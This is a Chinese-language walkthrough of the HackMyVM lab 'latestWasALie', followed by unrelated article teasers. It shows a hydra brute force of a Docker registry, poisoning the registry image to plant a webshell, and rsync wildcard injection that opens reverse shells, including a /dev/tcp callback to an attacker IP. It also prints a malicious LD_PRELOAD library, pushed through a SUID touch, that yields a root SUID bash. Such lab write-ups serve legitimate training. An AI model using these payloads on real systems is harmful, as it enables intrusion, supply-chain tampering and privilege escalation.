【HackMyVM】latestWasALie
探测主机nmap -sn 192.168.1.0/24信息收集收集192.168.1.9的端口信息nmap -sC -sS -A -T4 --min-rate 10000 192.168.1.9有2个web服务80端口访问80端口没一会就会自动跳转到latestwasalie.hmv还显示无法访问估计要设置主机头信息设置下host然后访问就可以成功加载页面http://latestwasalie.hmv/底部有一个注释信息先记录下adm目录爆破我们对网站进行目录爆破可以看到提示也印证了需要加主机头信息现在没啥线索换到5000端口5000端口通过刚刚的信息收集可以知道是Docker Registry服务查找关于这个服务的信息5000 - Pentesting Docker Registry - HackTricks说是有一个/v2/_catalog信息访问下但是需要凭据hydra爆破Docker registry认证我们在80端口有收集到adm这个名字尝试作为账户进行爆破# -s 5000 :指定5000端口 # -V显示每次爆破的账户和密码 # -f找到正确凭据就停止爆破 hydra -l adm -P /usr/share/wordlists/rockyou.txt 192.168.1.9 -s 5000 http-get /v2/ -V -f成功得到账户密码adm lover1Docker镜像投毒获取Docker仓库有镜像也可以使用curl进行获取# -k跳过证书验证 # -u提供凭据完成Basic Auth认证 curl -k -u adm:lover1 http://192.168.1.9:5000/v2/_catalog查询Docker镜像版本标签查看镜像有哪些tagscurl -k -u adm:lover1 http://192.168.1.9:5000/v2/latestwasalie-web/tags/list可以看到就一个latest版本拉取Docker镜像我们先登录到192.168.1.9的docker会出现Error报错因为Docker需要https但是我们的靶机是http编辑/etc/docker/daemon.json文件添加以下内容信任192.168.1.9这个http源{ insecure-registries: [192.168.1.9:5000] }然后重启下服务sudo systemctl daemon-reload sudo systemctl restart docker然后就可以成功登录将远端的镜像拉取下来docker pull 192.168.1.9:5000/latestwasalie-web镜像投毒我们对刚刚下载的镜像进行投毒docker run -it --name tmp_container 192.168.1.9:5000/latestwasalie-web /bin/bash总共有3个文件夹分别看看都有什么东西可以看到其中default就是我们靶机80端口的网站写一个info.php先看看网站都禁用了什么函数然后我们把我们修改后的镜像重新打包上传回到192.168.1.9服务器有镜像同步机制我们上传有毒的镜像之后服务器会自动部署# 修改镜像 docker commit tmp_container 192.168.1.9:5000/latestwasalie-web # 将本地本地镜像进行推送 docker push 192.168.1.9:5000/latestwasalie-web访问http://192.168.1.9/info.php就可以看到info.php成功写入发现没有禁止eval那么直接写入webshell还是一样修改本地的容器推送上去过一会就可以看到webshell成功写入可以连接成功但是命令执行被禁了在这个源码中看到有一个/data/目录?php $exportDir /data/exports; $stateDir /data/state; $maxFiles (int)(getenv(EXPORT_MAX_FILES) ?: 20); $minInterval (int)(getenv(EXPORT_MIN_INTERVAL) ?: 10); if (!is_dir($exportDir)) { http_response_code(500); echo Export directory not available.; exit; } if (!is_dir($stateDir)) { http_response_code(500); echo State directory not available.; exit; } $lockFilePath $stateDir . /export.lock; $stampFilePath $stateDir . /last_export.timestamp; $lockHandle fopen($lockFilePath, c); if ($lockHandle false) { http_response_code(500); echo Could not initialize export lock.; exit; } if (!flock($lockHandle, LOCK_EX)) { http_response_code(500); echo Could not acquire export lock.; fclose($lockHandle); exit; } try { $now time(); $lastExport 0; if (file_exists($stampFilePath)) { $raw trim((string)file_get_contents($stampFilePath)); if (ctype_digit($raw)) { $lastExport (int)$raw; } } if (($now - $lastExport) $minInterval) { http_response_code(429); $wait $minInterval - ($now - $lastExport); echo h1Too many requests/h1; echo pPlease wait {$wait} seconds before creating another export./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } $files glob($exportDir . /report_*.txt); if ($files false) { $files []; } usort($files, function ($a, $b) { return filemtime($a) filemtime($b); }); while (count($files) $maxFiles) { $oldest array_shift($files); if ($oldest ! null is_file($oldest)) { unlink($oldest); } } $filename report_ . date(Ymd_His) . _ . bin2hex(random_bytes(3)) . .txt; $filePath $exportDir . / . $filename; $content latestWasALie export\n; $content . Generated: . date(c) . \n; $content . Version: . htmlspecialchars(getenv(APP_VERSION) ?: unknown, ENT_QUOTES, UTF-8) . \n; $content . RemoteAddr: . ($_SERVER[REMOTE_ADDR] ?? unknown) . \n; if (file_put_contents($filePath, $content, LOCK_EX) false) { http_response_code(500); echo Could not write export file.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } file_put_contents($stampFilePath, (string)$now, LOCK_EX); echo h1Export created/h1; echo pFile: . htmlspecialchars($filename, ENT_QUOTES, UTF-8) . /p; echo pCurrent limit: . (int)$maxFiles . files, one export every . (int)$minInterval . seconds./p; flock($lockHandle, LOCK_UN); fclose($lockHandle); } catch (Throwable $e) { http_response_code(500); echo Unhandled export error.; flock($lockHandle, LOCK_UN); fclose($lockHandle); exit; } ?打开相应的目录看到rsync_cmd文件rsync 参数注入命令作用使用backupusr的 ED25519 私钥通过 SSH 本地加密通道以归档模式、详细日志输出把当前目录全部.txt文件增量同步到本机 /home/backupusr/backup/ 目录下完整保留文件所有属性。rsync -e ssh -i /home/backupusr/.ssh/id_ed25519 -av *.txt localhost:/home/backupusr/backup/当sync与*进行组合时就会出现参数注入参考资料Back To The Future: Unix Wildcards Gone Wild我们新建一个a.txt把反弹shell 的命令写进入busyboxnc 反弹shell然后再创建一个特殊的文件进行命令注入等靶机进行同步我们就可以得到一个shellGet User Flag得到user flag写入公钥在刚刚的sync中我们是有看到.ssh目录/home/backupusr/.ssh/id_ed25519我们把我们的公钥写入到authorized_keys这样就可以登录到backupusr用户我们在kali上生成一个密钥ssh-keygen然后获取刚刚生成好的公钥输入到靶机的authorized_keys中然后ssh直接连接靶机注意这里要使用靶机的用户名而不是你自己的ssh backupus192.168.1.9Root链Atouch /etc/ld.so.preload查找SUID文件find / -perm -4000 -type f 2/dev/null发现有touch那么我们可以通过touch来修改/etc/ld.so.preload来get root shell创建一个/etc/ld.so.preload/usr/bin/touch /etc/ld.so.preload ls -l /etc/ld.so.preload/etc/ld.so.preload是动态链接器全局配置文件ld 会先读取这个文件里面写了哪些 .so 库就会优先加载这些库那么我们写一个恶意的so文件并把这个so文件放入到/etc/ld.so.preload中preload_home.c文件内容如下#define _GNU_SOURCE #include unistd.h #include sys/stat.h __attribute__((constructor)) void init(void) { setgid(0); setuid(0); unlink(/etc/ld.so.preload); chown(/home/backupusr/rootbash, 0, 0); chmod(/home/backupusr/rootbash, 04755); }编译成so文件gcc -shared -fPIC -nostartfiles -o preload_home.so preload_home.c在kali上将这个恶意的so文件传递到靶机上使用scp 传递文件# -F /dev/null不加载任何ssh config配置文件 # -i ~/.ssh/id_ed25519使用私钥进行登录SSH scp -F /dev/null -i ~/.ssh/id_ed25519 preload_home.so backupusr192.168.1.9:/home/backupusr/preload_home.so然后在靶机上运行如下命令# 将/bin/bash复制一份作为root后面载体 cp /bin/bash /home/backupusr/rootbash # 给后门添加权限 chmod 755 /home/backupusr/rootbash # 创建一个空白/etc/ld.so.preload文件 /usr/bin/touch /etc/ld.so.preload # 把我们恶意的so文件写入到ld.so.preload中 printf /home/backupusr/preload_home.so\n /etc/ld.so.preload # 执行touch命令触发下因为touch使用时会动态加载库所会激活加载/etc/ld.so.preload里面的so文件 # Linux 安全机制普通无 SUID 程序会忽略 /etc/ld.so.preload只有 SUID/SGID 程序才会正常加载预加载库所以这里必须用 SUID touch 作为触发载体。 /usr/bin/touch /home/backupusr/trigger_preload # bash 默认有安全机制运行带 SUID 的 bash 时会自动丢弃有效 UID (root)变回普通用户权限。使用-p 则保留SUID权限不会降权 # -c 代表不进入交互式 shell直接执行引号内的一串命令执行完毕立刻退出。 /home/backupusr/rootbash -p -c id; whoami; ls -la /root; cat /root/root.txt 21成功得到root shell小细节/tmp 在该靶机上有 nosuid所以 SUID bash 放在 /tmp 不会生效改放到 /home/backupusr/rootbash 后即可正常 bash -pRoot 链 B/root/backups.sh /opt/registry/note.txt 通配符注入查找当权用户可写入的文件/文件夹找到提取突破口# 查找当前用户可写入的文件/文件夹 find / -writable 2/dev/null | grep -v -E (proc|sys|dev|tmp|run) find / -name note.txt -ls 2/dev/null可以看到/opt/registry/note.txt是所有人可读可写的上传pspy查找定时任务寻找提权突破口SSH执行命令scp -F /dev/null -i ~/.ssh/id_ed25519 pspy64 backupusr192.168.1.9:/home/backupusr/pspy64 ssh -F /dev/null -i ~/.ssh/id_ed25519 backupusr192.168.1.9 chmod x /home/backupusr/pspy64; timeout 380 /home/backupusr/pspy64 -p -i 100 --ppid我们着重关注UID0蓝色部分的进程可以看到也有一个rsync跟UID1000backupusr的命令几乎一致那么就可以猜测root账户也有一个rsync命令注入漏洞那么我们可以用同样的手法来反弹一个root shell可以看到root的那个/root/backup.sh备份的目标就是/opt/registry可以直接修改note.txtnote.txt是可写的或者我们可以直接使用touch创建一个新的txt也可以使用cat写入内容payload内容就是生成一个root_note_bash后面再反弹一个root shell# 写入payload cat /opt/registry/note.txt PAYLOAD #!/bin/sh { echo [] note.txt root payload ran at $(date) id$(id) cwd$(pwd) args$* cp /bin/bash /home/backupusr/root_note_bash chown root:root /home/backupusr/root_note_bash chmod 4755 /home/backupusr/root_note_bash /bin/bash -c /bin/bash -i /dev/tcp/192.168.1.7/4447 01 } /home/backupusr/note_root.log 21 exit 1 PAYLOAD # 创建特殊文件 /usr/bin/touch /opt/registry/-e sh note.txt # 查看文件 ls -la /opt/registry我们kali开启监听过一会就可以得到root shell同样也可以直接使用目录下的root_note_bash但是注意要加上-p参数--privileged

相关新闻

对比进口低频ADCP,偶信ADCP 75K在采购与维保层面有哪些高性价比优势?

对比进口低频ADCP,偶信ADCP 75K在采购与维保层面有哪些高性价比优势?

75kHz低频ADCP是深海洋流观测、海底管线防护、大洋科考的核心装备,长期以来海外品牌垄断国内深海监测市场。如今国产自研低频ADCP实现技术突破,偶信科技ADCP-75-SC-PA4自容式、ADCP-75-DR-PA4直读式两款75K产品,在性能对标国际一线品牌的前提…

2026/7/7 4:48:05阅读更多 →
comfyUI 安装流程:

comfyUI 安装流程:

1、官往下载便捷版本安装包 ComfyUI 官方文档 - ComfyUI 解压安装 2、ComfyUI Manager 便捷版本自带有,只需要初始化,初始化代码 .\python_embeded\python.exe -m pip install -r ComfyUI\manager_requirements.txt 如果初始化报错 ,可以加上…

2026/7/7 4:43:05阅读更多 →
Playwright + Serverless:构建高效无服务器测试架构

Playwright + Serverless:构建高效无服务器测试架构

去年下半年,我们团队接了一个挺头疼的活儿——给一套面向全球用户的SaaS产品搭建端到端测试体系。产品每周发两个版本,每次发版前要跑完上千条UI测试用例,覆盖三个浏览器、五种移动设备尺寸。原来的方案是租了几台ECS,每天凌晨定时…

2026/7/7 4:43:05阅读更多 →
OpenCV cv2.cvtColor 与 NumPy 切片转换:3 种方法性能与内存实测对比

OpenCV cv2.cvtColor 与 NumPy 切片转换:3 种方法性能与内存实测对比

OpenCV BGR/RGB转换性能对决:3种方法实测与工程选型指南当你第一次用OpenCV读取图像后直接调用matplotlib显示时,那种诡异的蓝色调画面至今让我记忆犹新——这大概是每个计算机视觉开发者都会经历的"成人礼"。BGR与RGB的通道顺序差异&#xff…

2026/7/7 5:48:12阅读更多 →
PyTorch 1.13 CIFAR-10 图像分类实战:5层CNN网络实现85%+准确率

PyTorch 1.13 CIFAR-10 图像分类实战:5层CNN网络实现85%+准确率

PyTorch 1.13 CIFAR-10 图像分类实战:5层CNN网络实现85%准确率 1. 项目概述与数据准备 CIFAR-10数据集作为计算机视觉领域的经典基准,包含60,000张32x32像素的彩色图像,涵盖10个常见物体类别。每类包含6,000张图像,其中50,000张用…

2026/7/7 5:48:12阅读更多 →
Redis集群创建时出现“Node xxx.xxx is not empty”问题处理

Redis集群创建时出现“Node xxx.xxx is not empty”问题处理

事件回顾 今日重启服务器的Redis集群,登录Redis节点,通过cluster info发现Docker重启后,集群的Redis服务器IP地址发生变化, 导致Redis集群节点未连接,因此需要重新创建Redis集群,但在重新创建Redis集群时出…

2026/7/7 5:48:12阅读更多 →
AI数据中心液冷焊接设备怎么选?5家品牌横评

AI数据中心液冷焊接设备怎么选?5家品牌横评

NVIDIA Vera Rubin平台官宣100%全液冷——单GPU 2300W、单机柜200kW,风冷极限被彻底击穿。根据NVIDIA路线图,Rubin将于2026年Q3启动批量出货,全球AI数据中心散热方案将不可逆地从"风冷为主"切换至"液冷为王"。而对液冷系…

2026/7/7 5:48:12阅读更多 →
Agent 的经验飞轮:当 AI Agent 学会从执行中沉淀可复用知识

Agent 的经验飞轮:当 AI Agent 学会从执行中沉淀可复用知识

每次打开一个新的 Agent 会话,都是一次从零开始的冒险。你知道目标是什么,Agent 也知道目标是什么。但接下来发生的事情就像一场没有地图的探索:它会尝试几种工具调用,碰壁几次,调整参数,重新尝试&#xff…

2026/7/7 5:48:12阅读更多 →
人工智能训练师-理论知识考点速记(下):模型训练+测试+运维

人工智能训练师-理论知识考点速记(下):模型训练+测试+运维

一、模型训练核心考点速记 1.1 训练全流程结构图 ┌──────────────────────────────────────────────────────────────┐ │ 模型训练全流程 │ │ …

2026/7/7 5:43:12阅读更多 →
从GitHub安全案例解析常见漏洞与防护实践

从GitHub安全案例解析常见漏洞与防护实践

1. 项目概述:从GitHub Trending看安全实战 最近在GitHub Trending上看到一个项目,叫 skills4/skills ,它因为一些安全漏洞案例被大家讨论。这其实是一个挺典型的场景:一个旨在展示或教授某种技能的仓库,本身却成了安…

2026/7/7 4:43:43阅读更多 →
MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

MLT 2026启示:因果推理与概率建模驱动下一代LLM应用

# MLT 2026启示:因果推理与概率建模驱动下一代LLM应用## 一、背景与挑战:从“黑箱预测”到“可信推理”2026年6月,第7届机器学习与趋势国际会议(MLT 2026)将在悉尼召开。会议议程中,“因果与可解释机器学习…

2026/7/7 2:56:31阅读更多 →
通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

通达OA SQL注入漏洞深度剖析:从手工注入到自动化利用与防御

1. 项目概述与漏洞背景最近在梳理一些历史OA系统的安全风险时,通达OA v11.6版本中的一个老漏洞又进入了我的视线。这个漏洞位于/general/bi_design/appcenter/report_bi.func.php文件中,是一个典型的SQL注入点。虽然这个漏洞的利用方式看起来并不复杂&am…

2026/7/7 1:03:28阅读更多 →
Acunetix v24.8 深度解析:DAST漏洞扫描器核心原理与DevSecOps实践

Acunetix v24.8 深度解析:DAST漏洞扫描器核心原理与DevSecOps实践

1. 项目概述:Acunetix v24.8 高级版漏洞扫描器深度解析作为一名在网络安全领域摸爬滚打多年的老兵,我深知一款趁手的“兵器”对于安全测试工作意味着什么。今天要聊的,就是Web应用安全测试领域里一个响当当的名字——Acunetix。特别是其v24.8…

2026/7/7 0:02:41阅读更多 →
国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot)

国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot)

国产化信创改造:达梦/人大金仓适配与多数据库兼容方案实战(SpringBoot) 🌐 演示地址:http://ruoyioffice.com | 📦 源码1GitHub:ruoyi-office | 📦 源码2GitCode:ruoyi-o…

2026/7/7 0:02:41阅读更多 →
CentOS 7/8 SSH 连接失败:5步系统性排错流程与决策树

CentOS 7/8 SSH 连接失败:5步系统性排错流程与决策树

CentOS SSH连接故障排查:从基础检查到深度修复的完整指南引言当你尝试通过Xshell或其他SSH客户端连接CentOS服务器时,突然遭遇"Connection refused"或"Connection timed out"的错误提示,这种经历对任何运维人员或开发者来…

2026/7/7 0:02:41阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/7 5:11:21阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/7 5:11:21阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/7 5:11:21阅读更多 →